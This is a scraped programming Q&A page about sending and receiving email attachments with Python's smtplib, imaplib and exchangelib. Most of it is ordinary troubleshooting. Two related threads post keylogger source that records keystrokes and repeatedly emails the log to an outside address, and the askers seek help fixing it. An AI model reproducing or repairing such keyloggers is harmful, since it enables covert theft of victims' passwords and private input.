smtplib sending duplicate emails - python-3.x

I have been sending excel files automatically using the smtplib package and a linux machice a using scheduled crontab job. I recently updated the email distribution list and now instead of the email sending once its sending 4 times. Any help with this would be hugely appreciated!
Here's my code:
import smtplib
from email.message import EmailMessage
def Emailer():
files = ['file1.csv', 'file2.csv', 'file3.csv', 'file.log']
new_attach = [f"file1{today}.csv",f"file2{today}.csv",'file3.csv', 'file.log' ]
new_ref = {orig_file: new_file for orig_file, new_file in zip(files, new_attach)}
msg = EmailMessage()
msg['Subject'] = "Subject"
msg['From'] = 'from#from.com'
msg['To'] = ['user1#user.com', 'user2#user.com', 'user3#user.com', 'user4#user.com']
msg['Cc'] = ['user5#user.com', 'user6#user.com', 'user7#user.com', 'user8#user.com', 'user9#user.com', \
'user11#user.com', 'user111#user.com', 'user1111#user.com']
msg.set_content( f""" <p>Message content here!</p>""", subtype='html')
for filename in files:
with open(filename, 'rb') as file:
file_data = file.read()
new_name = new_ref[file.name]
msg.add_attachment(file_data, maintype='application', subtype='octet-stream', filename=new_name)
try:
with smtplib.SMTP('sendsmtp.server.com', 25) as s:
s.send_message(msg)
# s.set_debuglevel(2)
print('email has been sent')
except Exception as ex:
print(ex, "Message was not sent!")

Related

Why is Python Keylogger not working properly?

I want to create a keylogger that is going to send the file to mail every x second.
import time
from email.mime.text import MIMEText
from email.mime.multipart import MIMEMultipart
from email.mime.base import MIMEBase
from email import encoders
from pynput.keyboard import Key, Listener
import logging
log_dir = ''
logging.basicConfig(filename=(log_dir + "Document.txt"),
level=logging.DEBUG, format='%(asctime)s: %(message)s')
def on_press(key):
logging.info(str(key))
with Listener(on_press=on_press) as Listener:
Listener.join()
mail_send()
def mail_send():
email_user = 'my mail'
email_password = 'my pass'
email_send = 'another mail'
subject = 'subject'
msg = MIMEMultipart()
msg['From'] = email_user
msg['To'] = email_send
msg['Subject'] = subject
body = 'Hi there, sending some stuff!'
msg.attach(MIMEText(body, 'plain'))
filename = 'Document.txt'
attachment = open(filename, 'rb')
part = MIMEBase('application', 'octet-stream')
part.set_payload((attachment).read())
encoders.encode_base64(part)
part.add_header('Content-Disposition', "attachment; filename= "+filename)
msg.attach(part)
text = msg.as_string()
server = smtplib.SMTP('smtp.gmail.com', 587)
server.starttls()
server.login(email_user, email_password)
server.sendmail(email_user, email_send, text)
server.quit()
time.sleep(20)
mail_send()
Code was working well before I added the "keylogging part"
It's probably not working because the file is being edited by keylogger so I would like to know how to fix it.
(my eng is bad sry)
Thanks for any tip
What's the error message you're getting, if any?
From the code you've given, I can see two problems.
First is that you've called mail_send() before defining it, and second that while you are opening the file via open(), you're not closing it. You should look up context manager to not have to deal with these issues of closing files/signing out etc.

How to download all attachments of a mail using python IMAP

I need to download all the attachments from a particular mail in outlook.
The below code is working fine if there is single attachment but when the mail has multiple attachment, it only download one.
Can anyone help me regarding this? Thanks.
I'm running this on python 3.7.
import imaplib
import email
import os
server =imaplib.IMAP4_SSL('outlook.office365.com',993)
server.login('Email id','Password')
server.select()
typ, data = server.search(None, '(SUBJECT "Subject name")')
mail_ids = data[0]
id_list = mail_ids.split()
for num in data[0].split():
typ, data = server.fetch(num, '(RFC822)' )
raw_email = data[0][1]
raw_email_string = raw_email.decode('utf-8')
email_message = email.message_from_string(raw_email_string)
for part in email_message.walk():
if part.get_content_maintype() == 'multipart':
continue
if part.get('Content-Disposition') is None:
continue
fileName = part.get_filename()
if bool(fileName):
filePath = os.path.join('C:\\Users\\lokesing\\', fileName)
if not os.path.isfile(filePath) :
fp = open(filePath, 'wb')
fp.write(part.get_payload(decode=True))
fp.close()
server.logout
print("Attachment downloaded from mail")
The output should be all attachments downloaded to my system at defined path.
You may use imap_tools package:
https://pypi.org/project/imap-tools/
from imap_tools import MailBox, Q
# get all attachments for each email from INBOX folder
with MailBox('imap.mail.com').login('test#mail.com', 'password') as mailbox:
for msg in mailbox.fetch():
for att in msg.attachments:
print(att.filename, att.content_type)
with open('C:/1/{}'.format(att.filename), 'wb') as f:
f.write(att.payload)
Here is an example of Downloading Attachments from Outlook Emails using Python.
I used the library called: exchangelib.
https://medium.com/#theamazingexposure/accessing-shared-mailbox-using-exchangelib-python-f020e71a96ab
Here is the Code Snippet:
from exchangelib import Credentials, Account, FileAttachment
import os.path
from pathlib import Path
credentials = Credentials('Firstname.Lastname#someenterprise.com', 'Your_Password_Here')
account = Account('shared_mail_box_name#someenterprise.com', credentials=credentials, autodiscover=True)
filtered_items = account.inbox.filter(subject__contains='Data is ready for')
print("Getting latest email...")
for item in account.inbox.filter(subject__contains='Data is ready for').order_by('-datetime_received')[:1]:
print(item.subject, item.sender, item.datetime_received)
for attachment in item.attachments:
if isinstance(attachment, FileAttachment):
filepath = os.path.join('C:\\path\\to\\your\\directory', attachment.name) #this part will download the attachment to local file system
with open(filepath, 'wb') as f:
f.write(attachment.content)
print('Saved attachment to:', filepath)

Auto Py to Exe - Keylogger-Emailer - Exe runs through once. Then doesn't register key inputs

Keylogger that sends results to email
Running .PY from anaconda CMD or IDE:
1. records keyboard input
2. when input > 100 = stores in txt file
3. emails txt file
4. repeat indefinitely
Running from EXE (EXE created from Auto Py to Exe)
1. records keyboard input
2. when input > 100 = stores in txt file
3. emails txt file
4. ---------------<<<<<<<<
try:
import pythoncom, pyHook
except:
print ("Please Install pythoncom and pyHook modules")
exit(0)
import urllib,urllib.request
from urllib.request import urlopen
from winreg import *
import sys
x=''
data=''
count=0
#Local Keylogger
def local():
global data
if len(data)>200:
# _thread.start_new_thread( local, ("Thread-2", 2, ) )
fp=open("c:/Users/Aaron/output.txt","a")
fp.write(data)
fp.close()
data=''
print ("saved")
# libraries to be imported
import smtplib
from email.mime.multipart import MIMEMultipart
from email.mime.text import MIMEText
from email.mime.base import MIMEBase
from email import encoders
fromaddr = "name#outlook.com"
toaddr = "name#outlook.com"
# instance of MIMEMultipart
msg = MIMEMultipart()
# storing the senders email address
msg['From'] = fromaddr
# storing the receivers email address
msg['To'] = toaddr
# storing the subject
msg['Subject'] = "Subject of the Mail"
# string to store the body of the mail
body = ""
# attach the body with the msg instance
msg.attach(MIMEText(body, 'plain'))
# open the file to be sent
filename = "output.txt"
attachment = open("c:/Users/Aaron/output.txt", "rb")
# instance of MIMEBase and named as p
p = MIMEBase('application', 'octet-stream')
# To change the payload into encoded form
p.set_payload((attachment).read())
# encode into base64
encoders.encode_base64(p)
p.add_header('Content-Disposition', "attachment; filename= %s" % filename)
# attach the instance 'p' to instance 'msg'
msg.attach(p)
# creates SMTP session
s = smtplib.SMTP('smtp-mail.outlook.com', 587)
# start TLS for security
s.starttls()
# Authentication
s.login(fromaddr, "password")
# Converts the Multipart msg into a string
text = msg.as_string()
# sending the mail
s.sendmail(fromaddr, toaddr, text)
# terminating the session
s.quit()
print ("emailed")
return True
def main():
print ("---- Keylogger Activated")
global xz
x=1
#if __name__ == '__main__':
# main()
obj = pyHook.HookManager()
obj.KeyDown = keypressed
obj.HookKeyboard()
pythoncom.PumpMessages()
def keypressed(event):
print ("key")
global x,data
if event.Ascii==13:
keys='<ENTER>'
elif event.Ascii==8:
keys='<BACK SPACE>'
elif event.Ascii==9:
keys='<TAB>'
elif event.Ascii==122:
# keys=''
print ("^^^^ Keylogger Deactivated")
sys.exit()
else:
keys=chr(event.Ascii)
data=data+keys
local()
return True
main()
There are no errors. When pressing keys the str "keys" does not print. So i think it is not running??
Very new to coding. please be kind :)
Let me know if you need more info

error when sending email in python: 'bytes' object has no attribute 'encode'

I need to send out an email in python3, below is the script and it failed with an error of:
'bytes' object has no attribute 'encode'
import smtplib
from email.mime.text import MIMEText
from email.message import EmailMessage
att1 = [u'201902260920AM.log']
msg = MIMEText("EmailOperator testing email.")
msg['Subject'] = "EmailOperator testing email."
msg['From'] = "Airflow_Notification_No_Reply#company.Com"
msg['To'] = "pasle#company.com"
msg['files'] = str(att1).encode("UTF-8")
s = smtplib.SMTP('localhost')
s.send_message(msg)
s.quit()
What's the right way to send out an email with attachment?
Much appreciated if anyone can enlighten me here, thank you in advance.
UPDATE1: you can run the above code in python3 and you will receive the error
UPDATE2: Indeed the actual log files I want to attach would be something like this:
'/home/pasle/airflow/logs/pipeline_client1/send_email/2019-02-27T01:40:38.451894+00:00/1.log'
and I need to send emails with multiple attachments, thank you for your help.
att1 = [u'201902260920AM.log']
msg = MIMEText("EmailOperator testing email.")
msg['Subject'] = "EmailOperator testing email."
msg['From'] = "Airflow_Notification_No_Reply#novantas.Com"
msg['To'] = "rxie#novantas.com"
msg['files'] = att1[0].encode("utf-8")
s = smtplib.SMTP('localhost')
s.send_message(msg)
s.quit()
It should probably work.
The fact you are using [u'ABC'] would be a one-element list of Unicode strings.
So you need to convert the list to a single Unicode string, and then convert that to utf-8.
UPDATE:
import smtplib
from os.path import basename
from email.mime.application import MIMEApplication
from email.mime.multipart import MIMEMultipart
from email.mime.text import MIMEText
files = ['/home/pasle/airflow/logs/pipeline_client1/send_email/2019-02-27T01:40:38.451894+00:00/1.log',
'/home/pasle/airflow/logs/pipeline_client1/send_email/2019-02-27T01:40:38.451894+00:00/2.log']
msg = MIMEMultipart()
msg['From'] = 'Airflow_Notification_No_Reply#novantas.com'
msg['To'] = 'rxie#novantas.com'
msg['Subject'] = 'Email operator testing email.'
message = MIMEText('Email operator testing email body text.')
msg.attach(message)
for f in files:
with open(f, "rb") as file:
part = MIMEApplication(
file.read(),
Name=basename(f)
)
# After the file is closed
part['Content-Disposition'] = 'attachment; filename="%s"' % basename(f)
msg.attach(part)
gmail_sender = 'sender#gmail.com'
gmail_passwd = 'password'
server = smtplib.SMTP_SSL('smtp.gmail.com', 465)
server.login(gmail_sender, gmail_passwd)
server.send_message(msg)
server.quit()
As I looked into your problem Attribute Error was occurring due to not declaring msg as a MIMEMultipart() method.

windows file directory path in Python

Can anyone please help me, I'm a newbie, I have a bit of code which I'm working on and I'm struggling with the file directory path. I have found other examples and tried them as shown below. The Python code is to email out a file called 'myfile.txt' form the folder 'F:\D\OneDrive\Python\Spyder\test'.
import smtplib
from email.mime.multipart import MIMEMultipart
from email.mime.text import MIMEText
from email.mime.base import MIMEBase
from email import encoders
#sender's address
fromaddr = "username#gmail.com"
#receiptent's email address
toaddr = "username2#gmail.com"
msg = MIMEMultipart()
msg['From'] = fromaddr
msg['To'] = toaddr
msg['Subject'] = "Python test"
body = "Did it work Sam?"
msg.attach(MIMEText(body, 'plain'))
filename = "myfile.txt"
attachment = open("F:\D\OneDrive\Python\Spyder\test", "rb")
part = MIMEBase('application', 'octet-stream')
part.set_payload((attachment).read())
encoders.encode_base64(part)
part.add_header('Content-Disposition', "attachment; filename= %s" % filename)
msg.attach(part)
server = smtplib.SMTP('smtp.gmail.com', 587)
server.starttls()
server.login(fromaddr, "password")
text = msg.as_string()
server.sendmail(fromaddr, toaddr, text)
server.quit()
And I get this error -
PermissionError: [Errno 13] Permission denied:
b'F:\\D\\OneDrive\\Python\\Spyder\\test'
If I change the line to -
attachment = open("F:\D\OneDrive\Python\Spyder\test\", "rb")
I get -
attachment = open("F:\D\OneDrive\Python\Spyder\test\", "rb")
^
SyntaxError: EOL while scanning string literal
If I change the line to -
attachment = open("F:\\D\\OneDrive\\Python\\Spyder\\test\\", "rb")
I get -
attachment = open("F:\\D\\OneDrive\\Python\\Spyder\\test\\", "rb")
FileNotFoundError: [Errno 2] No such file or directory:
'F:\\D\\OneDrive\\Python\\Spyder\\test\\'
If you work in Windows you must use windows path format. Method open with 'rb' parameters read file in byte mode if file is exist. You try read the directory!?
attachment = open('F:\\D\\OneDrive\\Python\\Spyder\\test\\myfile.txt", "rb")
equal
attachment = open(r'F:\D\OneDrive\Python\Spyder\test\myfile.txt', 'rb')
This represents the path correctly, but fails to provide a file name, because the trailing \ means a directory.
attachment = open("F:\\D\\OneDrive\\Python\\Spyder\\test\\myfile.txt", "rb")
What you likely want is
# Note the r and the lack of a trailing slash.
attachment = open(r"F:\D\OneDrive\Python\Spyder\test\myfile.txt", "rb")
I have found different code here and this works. Still can't work out why the original code does not work -
python program to rename the file with current date in MMDDYYY format and send email with attachment
Fixed code -
import smtplib
from email.mime.multipart import MIMEMultipart
from email.mime.text import MIMEText
from email.mime.base import MIMEBase
from email import encoders
fromaddr = "username#gmail.com"
toaddr = "username2#gmail.com"
msg = MIMEMultipart()
msg['From'] = fromaddr
msg['To'] = toaddr
msg['Subject'] = "Please find the attachment"
body = "HI"
msg.attach(MIMEText(body, 'plain'))
filename = "myfile.txt"
#dt = str(datetime.datetime.now())
attachment = open("F:\\D\\OneDrive\\Python\\Spyder\\myfile.txt", "rb")
part = MIMEBase('application', 'octet-stream')
part.set_payload((attachment).read())
encoders.encode_base64(part)
part.add_header('Content-Disposition', "attachment; filename= %s" % filename)
msg.attach(part)
server = smtplib.SMTP('smtp.gmail.com', 587)
server.starttls()
server.login(fromaddr, "password")
text = msg.as_string()
server.sendmail(fromaddr, toaddr, text)
server.quit()

Resources